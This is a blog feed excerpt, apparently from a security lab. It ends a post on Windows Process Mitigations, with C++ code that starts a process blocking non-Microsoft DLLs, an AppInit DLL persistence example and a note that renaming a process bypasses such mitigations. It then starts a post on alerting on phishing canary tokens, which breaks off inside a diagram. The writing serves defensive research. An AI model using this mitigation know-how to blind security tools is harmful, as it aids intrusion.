&lt;p&gt;Under the hood, Process Mitigations are deployed either during/after process creation or persistently via a system configuration change. When creating a new process, the caller can specify a Mitigation policy in the process startup information like:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;417852963&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;417852963&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;cpp&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;CreateProcess with Mitigation Policy&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-cpp&#34; &gt;&lt;code&gt;

#include &amp;#34;pch.h&amp;#34;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;Windows.h&amp;gt;

int main()
{
	PROCESS_INFORMATION pi = {};
	STARTUPINFOEXA si = {};
	SIZE_T attributeSize = 0;
	
	InitializeProcThreadAttributeList(NULL, 1, 0, &amp;amp;attributeSize);
	PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);
	InitializeProcThreadAttributeList(attributes, 1, 0, &amp;amp;attributeSize);

	DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
	UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &amp;amp;policy, sizeof(DWORD64), NULL, NULL);
	si.lpAttributeList = attributes;

	CreateProcessA(NULL, (LPSTR)&amp;#34;notepad&amp;#34;, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &amp;amp;si.StartupInfo, &amp;amp;pi);
	HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);

	return 0;
}

&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;p&gt;&lt;em&gt;Source: &lt;a href=&#34;https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes&#34; target=&#34;_blank&#34;&gt;ired.team&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Other related APIs include: &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy&#34; target=&#34;_blank&#34;&gt;SetProcessMitigationPolicy&lt;/a&gt; and &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getprocessmitigationpolicy&#34; target=&#34;_blank&#34;&gt;GetProcessMitigationPolicy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To persistently configure a Mitigation Policy, you can use the PowerShell &lt;a href=&#34;https://learn.microsoft.com/en-us/powershell/module/processmitigations/set-processmitigation?view=windowsserver2025-ps&#34; target=&#34;_blank&#34;&gt;Set-ProcessMitigation&lt;/a&gt; cmdlet to configure both system-wide and per-process settings. Alternatively, you can directly write changes to the Registry. For per-process options, Process Mitigations use &lt;a href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-file-execution-options&#34; target=&#34;_blank&#34;&gt;Image File Execution Options&lt;/a&gt; (IFEO) under the hood via the &lt;a href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference#how-mitigations-are-applied&#34; target=&#34;_blank&#34;&gt;MitigationOptions subkey&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;prior-defensive-applications&#34;&gt;Prior defensive applications&lt;/h1&gt;
&lt;p&gt;While not widely used, there are some notable applications of Process Mitigations for defensive purposes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/GabrielLandau&#34; target=&#34;_blank&#34;&gt;Gabriel Landau&lt;/a&gt; of Elastic Security lists the &lt;code&gt;NoRemoteImages&lt;/code&gt; option, set via a &lt;a href=&#34;https://github.com/gabriellandau/PPLFault/tree/main/NoFault&#34; target=&#34;_blank&#34;&gt;driver&lt;/a&gt;, as a mitigation for his &lt;a href=&#34;https://github.com/gabriellandau/PPLFault&#34; target=&#34;_blank&#34;&gt;PPLFault&lt;/a&gt; exploit chain (see &lt;a href=&#34;https://i.blackhat.com/Asia-23/AS-23-Landau-PPLdump-Is-Dead-Long-Live-PPLdump.pdf&#34; target=&#34;_blank&#34;&gt;slide #44&lt;/a&gt; or the &lt;a href=&#34;https://youtu.be/5xteW8Tm410?t=1563&#34; target=&#34;_blank&#34;&gt;talk recording&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/ElliotKillick&#34; target=&#34;_blank&#34;&gt;Elliot Killick&lt;/a&gt; discussed using the &lt;code&gt;MicrosoftSignedOnly&lt;/code&gt; option to mitigate DLL sideloading for specific applications &lt;a href=&#34;https://elliotonsecurity.com/perfect-dll-hijacking/#mitigation-detection&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://bsky.app/profile/slowerzs.net&#34; target=&#34;_blank&#34;&gt;Nathan Blondel&lt;/a&gt; discussed the implications of Arbitrary Code Guard on injection into PPL processes &lt;a href=&#34;https://blog.slowerzs.net/posts/pplsystem/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;As part of the Chrome browser sandbox &lt;a href=&#34;https://source.chromium.org/chromium/chromium/src/&amp;#43;/main:sandbox/win/src/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h1 id=&#34;example-appinit-dlls&#34;&gt;Example: AppInit DLLs&lt;/h1&gt;
&lt;p&gt;As example, we will demonstrate how Process Mitigations can be used to prevent &lt;a href=&#34;https://attack.mitre.org/techniques/T1546/010/&#34; target=&#34;_blank&#34;&gt;AppInit DLL persistence&lt;/a&gt;. AppInit DLLs allow an attacker with administrative rights to inject their own DLL into any process that loads &lt;code&gt;user32.dll&lt;/code&gt; by configuring a Registry key.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;appinitregistry.png&#34;  alt=&#34;AppInit DLL Registry settings&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The malicious DLL &lt;code&gt;c:\inject.dll&lt;/code&gt; spawns a message box on load.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;dllloadmessagebox.png&#34;  alt=&#34;Message box spawned&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The &lt;a href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference#disable-extension-points&#34; target=&#34;_blank&#34;&gt;extensions point mitigation&lt;/a&gt; is a per-process mitigation that disables AppInit DLLs, IMEs, and Event Hooks.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;getprocmitpsoutput.png&#34;  alt=&#34;Mitigation applies&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Any process configured with this mitigation will ignore the DLL specificed in the AppInit DLL Registry settings.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;limitiations-for-commodity-attacks&#34;&gt;Limitiations for commodity attacks&lt;/h1&gt;
&lt;p&gt;System-wide mitigations are primarily focused on exploit protections whereas per-process mitigations can be applied for additional uses, like the above example. Because per-process mitigations are controlled by IFEO, they are ultimately limited by the same limitation of other IFEO controls. Notably, that IFEO must be set based on a process&amp;rsquo; file name (or a subset of matches via the &lt;a href=&#34;https://www.geoffchappell.com/studies/windows/win32/ntdll/api/rtl/rtlexec/openimagefileoptionskey.htm&#34; target=&#34;_blank&#34;&gt;FilterFullPath&lt;/a&gt; option). You cannot set global IFEO mitigations options. This also means that per-process mitigations can be easily bypassed by simply renaming/moving the target process.&lt;/p&gt;
&lt;p&gt;Due to this, Process Mitigations are largely unsuitable as a general control for commodity attacks. Though they may be suitable in more limited capacities, such as mitigating specific attacks against a specific process that requires a static path (e.g., things in &lt;code&gt;System32&lt;/code&gt;). Ultimately, we decided to not pursue this approach further.&lt;/p&gt;
&lt;p&gt;If you have any questions or concerns, feel free to reach out to &lt;a href=&#34;https://x.com/2xxeformyshirt&#34; target=&#34;_blank&#34;&gt;@2xxeformyshirt&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id=&#34;additional-resources&#34;&gt;Additional resources&lt;/h1&gt;
&lt;p&gt;Additional useful public research around Process Mitigations include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://x.com/yarden_shafir&#34; target=&#34;_blank&#34;&gt;Yarden Shafir&lt;/a&gt;&amp;rsquo;s post &lt;a href=&#34;https://windows-internals.com/understanding-a-new-mitigation-module-tampering-protection/&#34; target=&#34;_blank&#34;&gt;Understanding a New Mitigation: Module Tampering Protection&lt;/a&gt;, 2022 Paranoia talk &lt;a href=&#34;https://github.com/yardenshafir/conference_talks/blob/main/Paranoia_2022_security_mitigations.pdf&#34; target=&#34;_blank&#34;&gt;Security Features You&amp;rsquo;ve Never Heard of (but should)&lt;/a&gt;, and tool &lt;a href=&#34;https://github.com/yardenshafir/MitigationFlagsCliTool&#34; target=&#34;_blank&#34;&gt;MitigationFlagsCliTool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://x.com/tiraniddo&#34; target=&#34;_blank&#34;&gt;James Forshaw&lt;/a&gt;&amp;rsquo;s 2016 TROOPERS talk &lt;a href=&#34;https://troopers.de/media/filer_public/f6/07/f6076037-85e0-42b7-9a51-507986edafce/the_joy_of_sandbox_mitigations_export.pdf&#34; target=&#34;_blank&#34;&gt;The Joy of
Sandbox Mitigations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://x.com/EmericNasi&#34; target=&#34;_blank&#34;&gt;Emeric Nasi&lt;/a&gt;&amp;rsquo;s &lt;a href=&#34;https://blog.sevagas.com/IMG/pdf/code_injection_series_part4.pdf&#34; target=&#34;_blank&#34;&gt;Code Injection series part 4&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Logging and Alerting on AitM Canary Token Hits in Microsoft Sentinel</title>
      <link>https://labs.sra.io/posts/aitm-canary-token-sentinel/</link>
      <pubDate>Tue, 09 Jun 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/aitm-canary-token-sentinel/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;Adversary-in-the-Middle (AitM) proxy based phishing has historically been an effective method of bypassing basic authentication controls like SMS and TOTP MFA. Unlike credential phishing through a cloned login portal, an AitM attack proxies the legitimate authentication flow in real time and captures user session details, which an attacker can reuse without further user interaction.&lt;/p&gt;
&lt;p&gt;The strongest preventative control is phishing-resistant multifactor authentication, like FIDO2 or passkey solutions. These are designed to prevent authentication from a different domain than the legitimate domain with which the hardware token or passkey was registered.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;Adversary-in-the-Middle (AitM) proxy based phishing has historically been an effective method of bypassing basic authentication controls like SMS and TOTP MFA. Unlike credential phishing through a cloned login portal, an AitM attack proxies the legitimate authentication flow in real time and captures user session details, which an attacker can reuse without further user interaction.&lt;/p&gt;
&lt;p&gt;The strongest preventative control is phishing-resistant multifactor authentication, like FIDO2 or passkey solutions. These are designed to prevent authentication from a different domain than the legitimate domain with which the hardware token or passkey was registered.&lt;/p&gt;



&lt;div class=&#34;goat svg-container &#34;&gt;
  
    &lt;svg
      xmlns=&#34;http://www.w3.org/2000/svg&#34;
      font-family=&#34;Menlo,Lucida Console,monospace&#34;
      
        viewBox=&#34;0 0 544 569&#34;
      &gt;
      &lt;g transform=&#39;translate(8,16)&#39;&gt;
&lt;path d=&#39;M 16,48 L 112,48&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 360,48 L 528,48&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 136,64 L 320,64&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,80 L 512,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 360,112 L 528,112&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 136,128 L 320,128&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,144 L 512,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 360,176 L 416,176&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 136,192 L 320,192&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,208 L 400,208&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 136,256 L 376,256&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 328,304 L 496,304&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 136,336 L 288,336&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 312,336 L 480,336&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 360,384 L 528,384&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 136,400 L 320,400&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 16,416 L 112,416&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,416 L 512,416&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 336,464 L 432,464&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 336,496 L 432,496&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 16,48 L 16,416&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 112,48 L 112,416&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 312,320 L 312,336&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 336,464 L 336,496&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,64 L 344,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,128 L 344,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,192 L 344,208&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 344,400 L 344,416&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 376,224 L 376,256&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 376,256 L 376,288&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 384,432 L 384,448&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 384,512 L 384,528&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 416,176 L 416,192&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 432,464 L 432,496&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 496,304 L 496,320&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 528,48 L 528,64&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 528,112 L 528,128&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 528,384 L 528,400&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 376,216 L 376,224&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 384,424 L 384,432&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 384,504 L 384,512&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;144.000000,256.000000 132.000000,250.399994 132.000000,261.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(180.000000, 136.000000, 256.000000)&#39;&gt;&lt;/polygon&gt;
&lt;polygon points=&#39;144.000000,336.000000 132.000000,330.399994 132.000000,341.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(180.000000, 136.000000, 336.000000)&#39;&gt;&lt;/polygon&gt;
&lt;polygon points=&#39;328.000000,64.000000 316.000000,58.400002 316.000000,69.599998&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(0.000000, 320.000000, 64.000000)&#39;&gt;&lt;/polygon&gt;
&lt;polygon points=&#39;328.000000,128.000000 316.000000,122.400002 316.000000,133.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(0.000000, 320.000000, 128.000000)&#39;&gt;&lt;/polygon&gt;
&lt;polygon points=&#39;328.000000,192.000000 316.000000,186.399994 316.000000,197.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(0.000000, 320.000000, 192.000000)&#39;&gt;&lt;/polygon&gt;
&lt;polygon points=&#39;328.000000,400.000000 316.000000,394.399994 316.000000,405.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(0.000000, 320.000000, 400.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 376,288 L 376,296&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;392.000000,288.000000 380.000000,282.399994 380.000000,293.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(90.000000, 376.000000, 288.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 384,448 L 384,456&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;400.000000,448.000000 388.000000,442.399994 388.000000,453.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(90.000000, 384.000000, 448.000000)&#39;&gt;&lt;/polygon&gt;
&lt;polygon points=&#39;392.000000,528.000000 380.000000,522.400024 380.000000,533.599976&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(90.000000, 384.000000, 528.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 360,48 A 16,16 0 0,0 344,64&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 528,64 A 16,16 0 0,1 512,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 360,112 A 16,16 0 0,0 344,128&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 528,128 A 16,16 0 0,1 512,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 360,176 A 16,16 0 0,0 344,192&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 416,192 A 16,16 0 0,1 400,208&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 328,304 A 16,16 0 0,0 312,320&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 496,320 A 16,16 0 0,1 480,336&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 360,384 A 16,16 0 0,0 344,400&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 528,400 A 16,16 0 0,1 512,416&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;0&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;T&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;0&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;8&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;8&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;16&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;16&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;24&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;24&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;32&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;32&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;32&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;40&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;40&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;40&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;48&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;48&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;48&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;56&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;56&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;56&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;64&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;64&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;64&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;72&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;72&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;72&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;80&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;80&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;80&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;88&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;88&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;96&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;P&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;96&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;96&#39; y=&#39;228&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;104&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;104&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;112&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;112&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;120&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;120&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;128&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;136&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;5&lt;/text&gt;
